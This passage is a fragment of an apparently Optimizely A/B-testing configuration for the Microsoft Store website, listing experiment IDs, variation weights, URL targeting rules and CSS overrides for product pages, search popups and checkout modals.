\n}\n}","clicktale":true,"variation_weights":{"2522300268":5000,"2514960354":5000},"enabled":true,"variation_ids":["2514960354","2522300268"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/HP-Stream-7-Signature-Edition-Tablet/productID.308781500"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Windows-8.1/productID.288401200"}],"enabled_variation_ids":["2514960354","2522300268"]},"2345561136":{"variation_ids":["2346861138","2354750915"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/cat/Office/categoryID.62684700"}],"enabled_variation_ids":["2346861138","2354750915"]},"2439950394":{"clicktale":true,"variation_ids":["2411440233","2414620353","2439850320"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/html/pbpage.OfficeCompare"}],"enabled_variation_ids":["2411440233","2414620353","2439850320"]},"2317550652":{"css":"html.exp-search-experience #search-box::-ms-clear {\n display: none;\n}\nhtml.exp-search-experience .search-popup {\n display: none;\n z-index: 1000;\n position: absolute;\n border: 1px solid #999;\n background-color: #FFF;\n}\nhtml.exp-search-experience .search-popup.force-hide {\ndisplay: none !important;\n}\n\nhtml.exp-search-experience .ac_results {\n display: none !important;\n}\n\nhtml.exp-search-experience .search-popup .products-header,\nhtml.exp-search-experience .search-popup .searches-header {\n font-family: wf_SegoeUI, 'Segoe UI', Segoe, 'Segoe WP', Tahoma, Verdana, Arial, sans-serif;\n font-size: .875em;\n font-weight: bold;\n margin-bottom: 1em;\n margin-left: .57142em;\n margin-top:20px;\n display:none;\n}\n\nhtml.exp-search-experience .search-popup .product-list {\n border-bottom: 1px solid #e1e1e1;\n margin-bottom:0;\n display:none;\n}\n\nhtml.exp-search-experience .search-popup .product-list li{\nposition:relative;\n}\n\nhtml.exp-search-experience .search-popup .search-list{\nmargin-bottom:0;\ndisplay:none;\n}\nhtml.exp-search-experience .search-popup .search-list li a{\n padding: 0 .625em;\n display: block;\n color: #333;\n height:48px;\n font-size: 15px;\n line-height:48px;\n}\n\nhtml.exp-search-experience .search-popup .product-list a {\n padding: .625em;\n display: block;\n color: #333;\n font-size: 15px;\n display:table;\n width:100%;\n height:66px;\n}\n\nhtml.exp-search-experience .search-popup .product-list li a:hover,\nhtml.exp-search-experience .search-popup .search-list li a:hover{\n color: #fff;\n background-color: #1570a6;\n text-decoration:underline;\n}\n\nhtml.exp-search-experience .search-popup .product-list .image-wrap{\n display:table;\n width:65px;\n}\n\nhtml.exp-search-experience .search-popup .product-list img {\n height: 42px;\n max-width: 100%;\nposition:absolute;\ntop:50%;\ntransform: translate(0, -50%);\n-ms-transform: translate(0, -50%);\n-webkit-transform: translate(0, -50%);\n}\n\nhtml.exp-search-experience .lt-ie9 .search-popup .product-list img{\ntop:25%;\n}\n\nhtml.exp-search-experience .search-popup .product-list span.title-wrap{\n overflow: hidden;\n padding-left: 10px;\n display: block;\n min-height:42px;\n display:table-cell;\n vertical-align:middle;\n width:100%;\n}\n\nhtml.exp-search-experience .search-popup .product-list a:hover span.vert-align{\ntext-decoration:underline;\n}\n\nhtml.exp-search-experience header.slim-header .global-navigation .search-form .input-wrapper{\nmargin-right:72px;\n}\n\nhtml.exp-search-experience .search-clear{\nwidth: 16px; \nheight: 16px; \ndisplay: block; \nposition: absolute; \nright: 41px; \ntop: 5px;\nbackground:url('//cdn.optimizely.com/img/222980912/2d8c0fbad36744dfa9fd76d04ab42d84.png') no-repeat left top;\n}\nhtml.exp-search-experience .search-clear:hover{\nbackground-position:left bottom;\n}","variation_ids":["2316931394","2334480270"],"urls":[{"match":"substring","value":"http://www.microsoftstore.com/store/msusa/"}],"enabled_variation_ids":["2316931394","2334480270"]},"2219432458":{"variation_ids":["2192092184","2207684058"],"urls":[{"match":"substring","value":"/productID.308781500"},{"match":"substring","value":"/productID.309174400"},{"match":"simple","value":"/productID.309174500"},{"negate":true,"match":"substring","value":"/buy"}],"enabled_variation_ids":["2192092184","2207684058"]},"2014850110":{"css":".rwd header.slim-header nav .top-level-menubar .top-level-menuitem .drop-down-menu .grid-row:last-child .list-of-links ul li a,\n.rwd .triple-hero-control a.dark-text-color p,\n.rwd .category-products .product .content-container .heading--small,\n.rwd .list-page .phoneAndChatSupport .chat-support a, \n.rwd .search-results .phoneAndChatSupport .chat-support a,\n.rwd .link-with-arrow.active,\n.rwd .product-comparison-chart .comparison-rows .comparison-row .first-col-static .product-details .call-to-action,\n.rwd .category-nav-wrapper.nav-background-light-grey .links a.active,\n.rwd .category-nav-wrapper.nav-background-light-grey .links a:hover,\n.footer-email-us #email-us-form .email-privacy-policy a,\n.rwd .category-product-3up a.product-link .description .call-to-action, \n.rwd .category-product-3up div.product-link .description .call-to-action,\n.rwd .media-overlay .overlay-text:hover .call-to-action,\n.rwd a{\ncolor:#1020d0;\n}\n.rwd header.slim-header nav .top-level-menubar .top-level-menuitem .drop-down-menu .grid-row:last-child .list-of-links ul li a,\n.rwd .triple-hero-control a.dark-text-color p,\n.rwd .category-products .product .content-container .heading--small,\n.rwd .list-page .phoneAndChatSupport .chat-support a, \n.rwd .search-results .phoneAndChatSupport .chat-support a,\n.rwd .link-with-arrow.active,\n.rwd .product-comparison-chart .comparison-rows .comparison-row .first-col-static .product-details .call-to-action,\n.rwd .category-nav-wrapper.nav-background-light-grey .links a.active,\n.footer-email-us #email-us-form .email-privacy-policy a,\n.rwd .category-product-3up a.product-link .description .call-to-action, \n.rwd .category-product-3up div.product-link .description .call-to-action,\n.rwd a:visited{\ncolor:#600090;\n}\n.background-bright-pink:hover a, \n.background-white a, \n.background-halloween-orange a, \n.background-medium-orange a, \n.background-light-grey a, \n.background-e0e3e8-grey a, \n.background-96-grey a, \n.background-d2-grey a, \n.background-76-grey a, \n.background-f5-grey a, \n.background-white-f5-grey a, \n.background-medium-green a, \n.background-light-green a, \n.background-neon-green a, \n.background-xmas-green a, \n.background-yellow a, \n.background-pale-yellow a, \n.background-bright-yellow a, \n.background-powder-yellow a, \n.background-light-blue a, \n.background-baby-blue a, \n.background-turquoise a, \n.background-sky-blue a, \n.background-bright-red a, \n.background-medium-red a, \n.background-pink a, \n.background-bright-pink a{\ncolor:#1a1a1a !important;\n}\n.background-black a, \n.background-red-orange a, \n.background-light-orange a, \n.background-orange a, \n.background-1a-grey a, \n.background-dark-grey a, \n.background-50-grey a, \n.background-green a, \n.background-forest-green a, \n.background-pale-green a, \n.background-dark-green a, \n.background-avocado-green a, \n.background-pine-green a, \n.background-blue a, \n.background-dark-navy-blue a, \n.background-dark-blue a, \n.background-navy-blue a, \n.background-royal-blue a,\n.background-purple a, \n.background-royal-purple a, \n.background-deep-purple a, \n.background-bright-purple a, \n.background-red a, \n.background-dark-red a, \n.rwd .full-page-splash.splash-small.tier-one-splash \n.content-container a{\ncolor:#fff !important\n}\n.rwd .link-with-arrow{\ncolor:#1a1a1a;\n}\n.rwd .full-page-splash .cta-primary{\ncolor:#333 !important;\n}\n.rwd .category-products .product-banner.dark-font:hover a, \n.rwd .category-products .product-banner.dark-font a{\ncolor:#1a1a1a;\n}","variation_ids":["2021890233","2014600129"],"urls":[{"match":"substring","value":"http://www.microsoftstore.com"}],"enabled_variation_ids":["2021890233","2014600129"]},"2201620545":{"css":"\n/*****************************\nCSS\n*****************************/\n/* If out of stock */\n.experiment-addon-outofstock .buySpan_AddtoCart{\nvisibility:visible !important;\nposition:relative !important;\n}\n.experiment-addon-outofstock .exp-modal{\ndisplay:none !important;\n}\n\n.experiment-addon a.exp-modal {\n padding: 0.4375em 1.875em 0.4375em 1.875em;\n width: 100%;\n width: -moz-available;\n margin-top: 0px;\n vertical-align: baseline;\n margin-bottom:0 !important;\n display:none;\n}\n.experiment-addon-visible a.exp-modal {\n display:block;\n}\n\n/* Modal UX */\n.exp-modal-addon .mfp-content{\nbackground-color:#fff;\nmax-width:580px;\n}\n.exp-modal-addon .mfp-content .column1{\nwidth:250px;\nfloat:left;\n}\n.exp-modal-addon .mfp-content .column1 img{\ndisplay:block;\nmargin:0 auto;\n}\n.exp-modal-addon .mfp-content .column2{\nwidth:310px;\nmargin-right:20px;\nfloat:right;\n}\n.exp-modal-addon .mfp-content .column2 .heading--large{\nposition:relative;\ntop:-6px;\n}\n.exp-modal-addon .mfp-content .column2 p{\ndisplay:block;\nmargin-top:4px;\nfont-size:1em;\n}\n.exp-modal-addon .mfp-content .column2 a{\nwidth:120px;\npadding:0.5em 1.5625em 0.5em;\n}\n.exp-modal-addon .mfp-content .column2 a.decline{\nbackground-color:#1570a5;\ncolor:#fff;\nmargin-left:10px;\ndisplay:inline-block;\n}\n.exp-modal-addon .mfp-content .column2 a.decline:hover{\nbackground-color:#002050;\n}\n.exp-modal-addon .mfp-content .column2 a.accept{\nbackground-color:#bad80a;\nmargin-left:30px;\ndisplay:inline-block;\n}\n.exp-modal-addon .mfp-content .column2 a.accept:hover{\nbackground-color:#7fba00;\n}\n.exp-modal-addon .mfp-content .column2 .actions{\nmargin:50px 0 30px 0;\n}\n","variation_ids":["2215510318","2207750284"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Surface-Pro-3---128GB--Intel-i5/productID.300190600"}],"enabled_variation_ids":["2215510318","2207750284"]},"2365284418":{"css":".exp-quantityselector .cf{\nclear:both;\n}\n.exp-quantityselector .exp-quantity-wrapper{\nmargin-bottom:20px;\n}\n.exp-quantityselector .exp-quantity-wrapper p{\nmargin-right:20px;\nfont-size:0.8125em;\nline-height:35px;\ndisplay:block;\nfloat:left;\nletter-spacing:1px;\n}\n.exp-quantityselector .exp-quantity{\nmin-width:70px;\nwidth:70px;\nfloat:left;\n}","variation_ids":["2367011131","2365284419"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Surface-Pro-3/productID.312704900"},{"match":"substring","value":"productID.312704900"}],"enabled_variation_ids":["2367011131","2365284419"]},"2569840195":{"variation_ids":["2573100428","2599310187"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Office-365-Home/productID.286395000"}],"enabled_variation_ids":["2573100428","2599310187"]},"2434361419":{"variation_weights":{"2408450818":2500,"2457571572":2500,"2443761056":2500,"2456110080":2500},"enabled":true,"variation_ids":["2456110080","2408450818","2443761056","2457571572"],"urls":[{"match":"simple","value":"https://www.microsoftstore.com/store?Action=DisplayPage&Env=DESIGN&Locale=en_US&SiteID=msusa&id=ThankYouPage&reqID=14805640000"},{"match":"substring","value":"ThankYouPage"}],"enabled_variation_ids":["2456110080","2408450818","2443761056","2457571572"]},"2111510116":{"audiences":[2087110211],"css":".dr_category_67154000 .category-hero .overlay .heading--larger {\n font-family: \"wf_SegoeUI\";\n font-weight: bold;\n}\n\n.dr_category_67154000 .category-hero .disclaimer {\n font-size: 0.8em;\n}\n\n.dr_category_67154000 .category-hero .disclaimer{margin:0.725em 0.4125em 1.25em 0.4125em}\n@media screen and (min-width: 33.8125em){.dr_category_67154000 .category-hero .disclaimer{margin:1.475em 0 0.25em 1.8em}}\n.lt-ie9 .dr_category_67154000 .category-hero .disclaimer{margin:1.475em 0 0.25em 1.8em}\n@media screen and (min-width: 48.0625em){.dr_category_67154000 .category-hero .disclaimer{ margin: 2.725em 0 0.25em 4.2375em;}}","variation_ids":["2110020182","2100500118"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/list/Pre-order-games/categoryID.67154000"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/list/Pre-order-games/categoryID.67154000/pgm.95305600"}],"enabled_variation_ids":["2100500118"]},"2428790374":{"variation_ids":["2455160339","2437691360"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Surface-Pro-3/productID.300190600"}],"enabled_variation_ids":["2455160339","2437691360"]},"2171590161":{"variation_ids":["2185290221","2188510048"],"urls":[{"match":"substring","value":"id=ThreePgCheckoutShoppingCartPage"}],"enabled_variation_ids":["2185290221","2188510048"]},"2287850098":{"audiences":[2282040996],"variation_ids":["2292870927","2292080220"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store?Action=DisplayPage&Locale=en_US&SiteID=msusa&id=ThreePgCheckoutShoppingCartPage"}],"enabled_variation_ids":["2292080220"]},"2312950901":{"audiences":[2445740027],"css":".exp-list-addtocart .exp-cartoverlay{\nposition:absolute;\nbottom:0;\nwidth:100%;\n}\n.exp-list-addtocart .exp-cartoverlay .exp-buttonslider{\nposition:absolute;\nright:0;\nbottom:0;\nwidth:50px;\nheight:50px;\nbackground:url('//cdn.optimizely.com/img/222980912/bcaa28bc8b784d80b65e639263080229.png') no-repeat left top;\n}\n.exp-list-addtocart .exp-cartoverlay.opened .exp-buttonslider{\nbackground:url('//cdn.optimizely.com/img/222980912/cc90535f0c16432da016f82349148d45.png') no-repeat left top;\n}\n.exp-list-addtocart .exp-addtocart{\nbackground-color:rgba(243, 243, 243, .8);\nmax-height:0px;\n-moz-transition: max-height .5s;\n-ms-transition: max-height .5s;\n-o-transition: max-height .5s;\n-webkit-transition: max-height .5s;\ntransition: max-height .5s;\noverflow:hidden;\n}\n.exp-list-addtocart .exp-cartoverlay.opened .exp-addtocart{\nmax-height:90px;\n}\n.exp-list-addtocart .exp-listbutton{\nbackground-color: #bad80a;\ncolor: #333;\ndisplay: inline-block;\nheight:48px;\nline-height:48px;\nwhite-space: nowrap;\nwidth:75%;\ntext-align:center;\nmargin: 20px 0px 20px 15px;\n}\n.exp-list-addtocart .exp-listbutton:hover{\ncolor:#fff;\nbackground-color:#7FBA00;\n}\n\n.lt-ie9 .exp-addtocart{\nbackground-color:#f3f3f3;\nfilter: alpha(opacity=40); /* For IE8 and earlier */\n}\n\n@media all and (max-width: 930px) and (min-width: 769px) {\n .exp-list-addtocart .exp-listbutton.text-extended{\n width:85%;\n margin-left:10px;\n font-size:.9em;\n }\n \n}\n\n@media all and (max-width: 539px){\n .exp-list-addtocart .rating-summary{\n margin-bottom:40px; \n }\n} ","clicktale":true,"variation_ids":["2349571208","2384830445"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/cat/PC-accessories/categoryID.62687100"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/cat/Surface-accessories/categoryID.69403700"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/list/Xbox-One-accessories/categoryID.64724300"}],"enabled_variation_ids":["2349571208","2384830445"]},"2454090358":{"css":".exp-vc-inv-msg-hide-surface #videodesk{\n visibility: hidden !important;\n}\n.exp-vc-inv-msg-visible-surface #videodesk{\n visibility: visible !important;\n}\n.exp-vc-inv-msg-surface{\n font-size:18px !important;\n}","variation_ids":["2411950472","2444650449"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/cat/categoryID.69403400"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Surface-2/productID.286867200"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Surface-Pro-3/productID.300190600"}],"enabled_variation_ids":["2411950472","2444650449"]},"2298370170":{"variation_ids":["2308360386","2290730367"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store?Action=DisplayPage&Locale=en_US&SiteID=msusa&id=ThreePgCheckoutShoppingCartPage"}],"enabled_variation_ids":["2308360386","2290730367"]},"2126090363":{"variation_ids":["2132661411","2140210082"],"urls":[{"match":"substring","value":"id=ThreePgCheckoutShoppingCartPage"},{"match":"substring","value":"DisplayThreePgCheckoutAddressPaymentInfoPage"},{"match":"substring","value":"ThankYouPage"}],"enabled_variation_ids":["2140210082"]},"2515650238":{"css":".exp-vc-inv-msg-hide-xbox #videodesk{\n visibility: hidden !important;\n}\n.exp-vc-inv-msg-visible-xbox #videodesk{\n visibility: visible !important;\n}\n.exp-vc-inv-msg-xbox{\n font-size:18px !important;\n}","variation_ids":["2504150262","2515990303"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/cat/categoryID.69405400"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/cat/categoryID.69405500"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/cat/categoryID.69405700"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Xbox-One/productID.313041200"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/list/Xbox-One-consoles/categoryID.64724200"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Xbox-One-with-Kinect-Assassins-Creed-Unity-Bundle/productID.308785100"},{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Xbox-One-Assassins-Creed-Unity-Bundle/productID.307070100"}],"enabled_variation_ids":["2504150262","2515990303"]},"2228840064":{"audiences":[2221641343],"css":"\n/*****************************\nCSS\n*****************************/\n.experiment-addon .variation-container .addon{\ndisplay:none; \n}\n.experiment-addon .buySpan_AddtoCart{\nvisibility:hidden !important;\nposition:absolute !important;\n}\n/* If out of stock */\n.experiment-addon-outofstock .buySpan_AddtoCart{\nvisibility:visible !important;\nposition:relative !important;\n}\n.experiment-addon-outofstock .exp-modal{\ndisplay:none !important;\n}\n\n.experiment-addon a.exp-modal {\n padding: 0.4375em 1.875em 0.4375em 1.875em;\n width: 100%;\n width: -moz-available;\n margin-top: 0px;\n vertical-align: baseline;\n margin-bottom:0 !important;\n display:none;\n}\n.experiment-addon-visible a.exp-modal {\n display:block;\n}\n\n/* Modal UX */\n.exp-modal-addon .mfp-content{\nbackground-color:#fff;\nmax-width:580px;\n}\n.exp-modal-addon .mfp-content .column1{\nwidth:250px;\nfloat:left;\n}\n.exp-modal-addon .mfp-content .column1 img{\ndisplay:block;\nmargin:0 auto;\n}\n.exp-modal-addon .mfp-content .column1 ul{\nmargin:5px 10px;\nfont-size:14px;\n}\n.exp-modal-addon .mfp-content .column1 ul li{\n background: url(\"//dri1.img.digitalrivercontent.net/Storefront/Site/mscommon/cm/images/common_images/liBG.gif\") no-repeat 0 0.6428571429em; \npadding-left:10px;\n}\n.exp-modal-addon .mfp-content .column2{\nwidth:310px;\nmargin-right:20px;\nfloat:right;\n}\n.exp-modal-addon .mfp-content .column2 .heading--large{\nposition:relative;\ntop:-6px;\n}\n.exp-modal-addon .mfp-content .column2 p{\ndisplay:block;\nmargin-top:4px;\nfont-size:1em;\n}\n.exp-modal-addon .mfp-content .column2 a{\nwidth:120px;\npadding:0.5em 1.5625em 0.5em;\n}\n.exp-modal-addon .mfp-content .column2 a.decline{\nbackground-color:#fff;\ncolor:#0a0a0a;\nmargin-left:10px;\ndisplay:inline-block;\n}\n.exp-modal-addon .mfp-content .column2 a.decline:hover{\ncolor:#1570a5;\n}\n.exp-modal-addon .mfp-content .column2 a.accept{\nbackground-color:#bad80a;\nmargin-left:30px;\ndisplay:inline-block;\n}\n.exp-modal-addon .mfp-content .column2 a.accept:hover{\nbackground-color:#7fba00;\n}\n.exp-modal-addon .mfp-content .column2 .actions{\nmargin:50px 0 30px 0;\noverflow:hidden;\n}\n.exp-modal-addon .mfp-content .column2 .actions .updating-icon{\nfloat:left; \n}\n.exp-modal-addon .mfp-content .column2 .actions .updating-text{\nfloat:left; \ndisplay:inline-block;\nmargin:10px 0 0 10px;\n}\n\n/* Add info to Tablet */\n.exp-modal-addon .exp-top-pad{\n display:block;\n margin-top:10px;\n}\n.exp-modal-addon .exp-top-pad strong{\n display:block; \n}","variation_ids":["2233400047","2203670589","2223743783"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store?Action=DisplayPage&Env=BASE&Locale=en_US&SiteID=msusa&id=ThreePgCheckoutShoppingCartPage"}],"enabled_variation_ids":["2233400047","2203670589","2223743783"]},"2212920966":{"variation_ids":["2218581506","2213511110"],"urls":[{"match":"substring","value":"/productID.308785100"},{"match":"substring","value":"/productID.307070100"},{"negate":true,"match":"substring","value":"/buy"}],"enabled_variation_ids":["2218581506","2213511110"]},"2590571145":{"css":"html.hide-chat #videodesk{\n display:none !important;\n}","variation_ids":["2593750420","2593460476"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Xbox-One/productID.304306700"}],"enabled_variation_ids":["2593750420","2593460476"]},"2408400010":{"css":".exp-findstore nav .top-level-menuitem.find-a-store{\nposition: absolute !important;\nright: 0;\ntop: 0; \n}\n\n@media \nonly screen and (max-width: 899px){\n .exp-findstore nav .top-level-menuitem.find-a-store{\n float:none !important;\n position:relative !important;\n }\n .exp-findstore #lpChatDiv + .find-a-store{\n display:none; \n }\n}\n\n.exp-findstore #mobile-sign-in + .find-a-store{\n float:none !important;\n}","variation_weights":{"2401700093":10000},"enabled":true,"variation_ids":["2396680195","2401700093"],"urls":[{"match":"substring","value":"http://www.microsoftstore.com/store/msusa/en_US"},{"match":"substring","value":"SiteID=msusa"}],"enabled_variation_ids":["2401700093"]},"2439680141":{"variation_ids":["2442370477","2418270297"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/cat/Xbox-360/categoryID.69405700"}],"enabled_variation_ids":["2442370477","2418270297"]},"2212342417":{"css":"\n/*****************************\nCSS\n*****************************/\n.experiment-addon .variation-container .addon{\ndisplay:none; \n}\n.experiment-addon .buySpan_AddtoCart{\nvisibility:hidden !important;\nposition:absolute !important;\n}\n/* If out of stock */\n.experiment-addon-outofstock .buySpan_AddtoCart{\nvisibility:visible !important;\nposition:relative !important;\n}\n.experiment-addon-outofstock .exp-modal{\ndisplay:none !important;\n}\n\n.experiment-addon a.exp-modal {\n padding: 0.4375em 1.875em 0.4375em 1.875em;\n width: 100%;\n width: -moz-available;\n margin-top: 0px;\n vertical-align: baseline;\n margin-bottom:0 !important;\n display:none;\n}\n.experiment-addon-visible a.exp-modal {\n display:block;\n}\n\n/* Modal UX */\n.exp-modal-addon .mfp-content{\nbackground-color:#fff;\nmax-width:580px;\n}\n.exp-modal-addon .mfp-content .column1{\nwidth:250px;\nfloat:left;\n}\n.exp-modal-addon .mfp-content .column1 img{\ndisplay:block;\nmargin:0 auto;\n}\n.exp-modal-addon .mfp-content .column1 ul{\nmargin:5px 10px;\nfont-size:14px;\n}\n.exp-modal-addon .mfp-content .column1 ul li{\n background: url(\"//dri1.img.digitalrivercontent.net/Storefront/Site/mscommon/cm/images/common_images/liBG.gif\") no-repeat 0 0.6428571429em; \npadding-left:10px;\n}\n.exp-modal-addon .mfp-content .column2{\nwidth:310px;\nmargin-right:20px;\nfloat:right;\n}\n.exp-modal-addon .mfp-content .column2 .heading--large{\nposition:relative;\ntop:-6px;\n}\n.exp-modal-addon .mfp-content .column2 p{\ndisplay:block;\nmargin-top:4px;\nfont-size:1em;\n}\n.exp-modal-addon .mfp-content .column2 a{\nwidth:auto;\npadding:0.5em 1.5625em 0.5em;\n}\n.exp-modal-addon .mfp-content .column2 a.decline{\nbackground-color:#1570a5;\ncolor:#fff;\nmargin-left:10px;\ndisplay:inline-block;\n}\n.exp-modal-addon .mfp-content .column2 a.decline:hover{\nbackground-color:#002050;\n}\n.exp-modal-addon .mfp-content .column2 a.accept{\nbackground-color:#bad80a;\nmargin-left:30px;\ndisplay:inline-block;\n}\n.exp-modal-addon .mfp-content .column2 a.accept:hover{\nbackground-color:#7fba00;\n}\n.exp-modal-addon .mfp-content .column2 .actions{\nmargin:50px 0 30px 0;\n}\n","variation_ids":["2224151608","2209031547"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/pdp/Office-365-Personal/productID.297833200"}],"enabled_variation_ids":["2224151608","2209031547"]},"2339690644":{"audiences":[2114620963],"css":"/* Video */\n.youtube-container{\noverflow:visible;\n}\n/* Hide PDP Additional Info Text */\n#ms_PDP_Additional_Info{\ndisplay:none;\n}\n/* Slider */\n.experiment-surfacepdp .nav-wrap-slider .slider-track{\nbackground-color:#fff !important;\n}\n/* Page Overrides */\n.experiment-surfacepdp .title-block .badge{\ndisplay:none;\n}\n.experiment-surfacepdp .exp-hide-item{\ndisplay:none !important;\n}\n.experiment-surfacepdp .exp-show-item{\ndisplay:block !important;\n}\n.experiment-surfacepdp .row-padded-top-small.tabify{\ndisplay:block !important;\n}\n.experiment-surfacepdp .nav-wrap .nav-wrap-slider.stuck{\nborder-bottom:1px solid #999 !important;\n}\n.experiment-surfacepdp .row-padded-top-small.tabify + .tabify{\ndisplay:none !important;\n}\n.experiment-surfacepdp #techspecs{\npadding-top:0 !important;\n}\n\n/* Global */\n.experiment-surfacepdp .tablet-view,\n.experiment-surfacepdp .mobile-view{\ndisplay:none;\n}\n.experiment-surfacepdp .row-padded-top-small.tabify{\npadding-top:0;\n}\n.experiment-surfacepdp #overview{\npadding-top:0 !important;\nbackground-color:#f2f2f2;\nheight:auto;\n}\n.experiment-surfacepdp #overview section{\nmin-height:450px;\n}\n.experiment-surfacepdp #overview section .grid-unit > .text{\nposition:relative;\n}\n.experiment-surfacepdp #overview1 + .expander-container{\ndisplay:none;\n}\n/*************** Responsive Tablet ***************/\n@media \nonly screen and (max-width: 768px){\n #overview1 > h2.tablet-view{\n display:block;\n font-size:2em;\n }\n #overview1{\n margin-top:20px;\n }\n #overview{\n margin-top:10px;\n } \n}\n@media \nonly screen and (max-width: 480px){\n #overview1 > h2.mobile-view{\n display:block;\n font-size:2em;\n }\n}\n/* Note Worthy */\n.experiment-surfacepdp section.note-worthy{\nbackground:url('//cdn.optimizely.com/img/222980912/5d583bd1523d46bbbebf0cf25a4f87ef.jpg') no-repeat center top;\nbackground-color:#e3e2e0;\nposition:relative;\nmargin-top:0 !important;\nborder-top:1px solid #999999;\nmargin-top:0 !important;\npadding-top:0 !important;\nclear:both;\n}\n.experiment-surfacepdp section.note-worthy .main-background{\nposition:absolute;\nleft:0;\nmax-width:auto;\n}\n.experiment-surfacepdp section.note-worthy .grid-row.column-3{\nheight:450px !important;;\npadding:0 !important;\n}\n.experiment-surfacepdp section.note-worthy .desktop-view .grid-unit.has-text{\nwidth:45.83% !important;\n}\n.experiment-surfacepdp section.note-worthy .text{\nbackground-color:rgba(81,69,131, .9);\ncolor:#fff;\npadding:30px;\npadding-bottom:55px;\nmargin-top:97px;\nwidth:90%;\nleft:-27px;\n}\n.experiment-surfacepdp section.note-worthy .description,\n.experiment-surfacepdp section.campuslegend.description,\n.experiment-surfacepdp section.clickinkeyboards .description,\n.experiment-surfacepdp section.fasterprocessor .description,\n.experiment-surfacepdp section.dualkickstand .description,\n.experiment-surfacepdp section.ports .description,\n.experiment-surfacepdp section.listimages .description{\nfont-size:.96em;\nmargin-bottom:0;\n}\n/*************** Desktop ***************/\n@media \nonly screen and (max-width: 1050px){\n .experiment-surfacepdp section.note-worthy .tablet-view .text{\n left:20px;\n }\n}\n/*************** Responsive Tablet ***************/\n@media \nonly screen and (max-width: 1050px){\n .experiment-surfacepdp section.note-worthy .desktop-view .text{\n display:none !important;\n }\n .experiment-surfacepdp section.note-worthy .tablet-view{\n display:block;\n width:100%;\n margin:0;\n }\n .experiment-surfacepdp section.note-worthy .tablet-view .text{\n margin-top:0;\n width:100%;\n left:0;\n }\n}\n@media \nonly screen and (max-width: 768px){\n .experiment-surfacepdp section.note-worthy{\n background:url('//cdn.optimizely.com/img/222980912/2569a14a93f742b697739706acad16d7.jpg') no-repeat left top;\n }\n .experiment-surfacepdp section.note-worthy .grid-row.column-3{\n height:360px !important;\n }\n .experiment-surfacepdp section.note-worthy h2{\n font-size:1.8em;\n margin-top:8px;\n }\n .experiment-surfacepdp section.note-worthy .text{\n padding:17px 10px 30px 10px;\n left:0;\n }\n}\n@media \nonly screen and (max-width: 320px){\n .experiment-surfacepdp section.note-worthy{\n background:url('//cdn.optimizely.com/img/222980912/451765eebbae43ec8007406af727f20c.jpg') no-repeat left top;\n }\n .experiment-surfacepdp section.note-worthy h2{\n font-size:1.8em;\n margin-top:8px;\n }\n .experiment-surfacepdp section.note-worthy .grid-row.column-3{\n height:241px !important;\n }\n .experiment-surfacepdp section.note-worthy .text{\n padding:10px;\n }\n}\n/* Campus Legend */\n.experiment-surfacepdp section.campuslegend{\nbackground-color:#f2f2f2;\nmargin-top:0;\nclear:both;\n}\n.experiment-surfacepdp section.campuslegend .mobile-view{\ndisplay:none;\n}\n.experiment-surfacepdp section.campuslegend .text{\nmargin-top:30px;\n}\n.experiment-surfacepdp section.campuslegend .text p{\npadding-top:10px;\n}\n.experiment-surfacepdp section.campuslegend .productshot{\nfloat:right;\nwidth:100%;\n}\n.experiment-surfacepdp section.campuslegend .elp-player{\nmargin:22px 0 0 0;\ndisplay:block;\n}\n.experiment-surfacepdp section.campuslegend .elp-player .video-text{\nmargin-top:0px;\ndisplay:block;\nfont-size:.9em;\n}\n/*************** Responsive Tablet ***************/\n@media \nonly screen and (max-width: 1050px){\n .experiment-surfacepdp #overview section.campuslegend{\n min-height:100%;\n }\n .experiment-surfacepdp section.campuslegend .grid-unit{\n width:50% !important;\n }\n .experiment-surfacepdp section.campuslegend .text{\n margin-top:0;\n }\n}\n@media screen and (max-width: 768px) {\n .experiment-surfacepdp #overview section.campuslegend{\n min-height:100%;\n }\n .experiment-surfacepdp section.campuslegend h2{\n font-size:1.8em;\n margin-top:8px;\n }\n .experiment-surfacepdp section.campuslegend .description{\n margin-top:10px;\n }\n .experiment-surfacepdp section.campuslegend .productshot{\n width:100%;\n }\n}\n@media screen and (max-width: 650px) {\n .experiment-surfacepdp #overview section.campuslegend .desktop-view{\n display:none;\n }\n .experiment-surfacepdp #overview section.campuslegend .mobile-view{\n display:block;\n }\n .experiment-surfacepdp #overview section.campuslegend .grid-container{\n width:95%;\n margin:0 2.5%;\n }\n .experiment-surfacepdp #overview section.campuslegend .grid-unit{\n width:100% !important;\n float:none !important;\n }\n 